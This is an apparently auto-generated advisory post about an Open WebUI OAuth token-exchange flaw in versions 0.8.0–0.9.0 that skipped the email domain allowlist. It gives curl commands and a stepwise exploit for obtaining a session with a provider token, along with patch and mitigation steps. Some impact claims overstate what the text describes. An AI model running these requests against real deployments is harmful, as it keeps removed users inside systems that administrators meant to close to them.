Listen to this Post
Open WebUI is a self-hosted AI platform that relies on external OAuth providers for authentication. From version 0.8.0 through 0.9.0, the OAuth token exchange endpoint issued a valid session for a provider access token without applying the email domain allowlist that the standard OAuth login callback enforces . This meant that an account whose email domain the login callback would refuse could still obtain a working session through this endpoint . The vulnerability exists because the token exchange endpoint, located in backend/open_webui/routers/auths.py, was added as a second entry point into the same session-issuing path used by the login callback, but it re-implemented only the identity lookup and not the surrounding policy checks . The domain allowlist check lived inside the callback’s own body rather than in shared code, so the second caller inherited none of it . This allowed a user whose domain was removed from the allowlist to retain working access as their existing account at its existing role . The endpoint cannot create an account and cannot raise anyone’s role, so this grants continued access rather than new or elevated access . Preconditions include ENABLE_OAUTH_TOKEN_EXCHANGE=True, which is disabled by default; `OAUTH_ALLOWED_DOMAINS` set to something other than “; a valid, unexpired access token on the configured provider; and an Open WebUI account already linked to that provider subject, or a matching email when `OAUTH_MERGE_ACCOUNTS_BY_EMAIL` is enabled . The issue was fixed in version 0.9.0 via commit fb5ef978b, which adds the same domain allowlist check to the token exchange endpoint that the login callback runs, denying the exchange with a 403 when the email domain is not allowed .
DailyCVE Form:
Platform: Open WebUI
Version: 0.8.0 – 0.9.0
Vulnerability: OAuth domain allowlist bypass
Severity: Medium
date: 2026-09-10
Prediction: Patched in 0.9.0
What Undercode Say:
Check if token exchange is enabled
curl -s http://target/api/config | jq '.features.enable_oauth_token_exchange'
Check configured OAuth domains
curl -s http://target/api/config | jq '.oauth.allowed_domains'
Exchange a provider access token for an Open WebUI session
curl -X POST http://target/api/v1/auths/oauth/{provider}/token/exchange \
-H "Content-Type: application/json" \
-d '{"access_token":"PROVIDER_ACCESS_TOKEN"}'
Expected response (vulnerable): HTTP 200 with session cookie/JWT
Expected response (patched): HTTP 403 {"detail":"Email domain not allowed"}
Vulnerable endpoint logic (simplified, v0.8.0–0.9.0)
backend/open_webui/routers/auths.py
@router.post("/oauth/{provider}/token/exchange")
async def token_exchange(provider: str, form_data: TokenExchangeForm):
Identity lookup only — no domain allowlist check
user_info = await get_user_info(provider, form_data.access_token)
user = get_user_by_email_or_sub(user_info.email, user_info.sub)
if not user:
raise HTTPException(401, "User not found")
Session issued without policy enforcement
return create_session_response(user)
Exploit: (Educational Purposes!)
Step 1: Obtain a valid OAuth access token for a user
whose email domain has been removed from the allowlist.
This can be done via any registered OAuth client on the same provider.
Step 2: Present the token to the token exchange endpoint
curl -X POST https://openwebui.target/api/v1/auths/oauth/google/token/exchange \
-H "Content-Type: application/json" \
-d '{
"access_token": "ya29.a0AfH6SM..."
}'
Step 3: Receive a valid session cookie or JWT
The response bypasses the OAUTH_ALLOWED_DOMAINS restriction.
The user retains their original account role and permissions.
Protection: from this CVE
Immediate fix: upgrade to Open WebUI 0.9.0 or later
pip install --upgrade open-webui==0.9.0
If upgrade is not possible, disable token exchange
export ENABLE_OAUTH_TOKEN_EXCHANGE=False
Verify the fix is applied — patched endpoint returns 403
when the email domain is not in OAUTH_ALLOWED_DOMAINS
curl -X POST https://openwebui.target/api/v1/auths/oauth/{provider}/token/exchange \
-H "Content-Type: application/json" \
-d '{"access_token":"TOKEN"}' -w "%{http_code}"
Additional hardening: narrow OAUTH_ALLOWED_DOMAINS and audit
all linked accounts for domains no longer permitted
Impact:
An administrator who narrows the domain allowlist expects users outside it to lose access at their next sign-in . The login callback correctly denies them, but the token exchange endpoint kept issuing sessions . A user whose domain was removed retained working access as their existing account at its existing role . The endpoint cannot create an account and cannot raise anyone’s role, so this grants continued access rather than new or elevated access . In enterprise environments integrating Open WebUI with identity providers such as Azure AD or Okta, this allows external entities to bypass domain-based access controls entirely . The CVSS score is 6.5 (Medium), with a vector of network-reachable, no privileges required, and no user interaction .
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
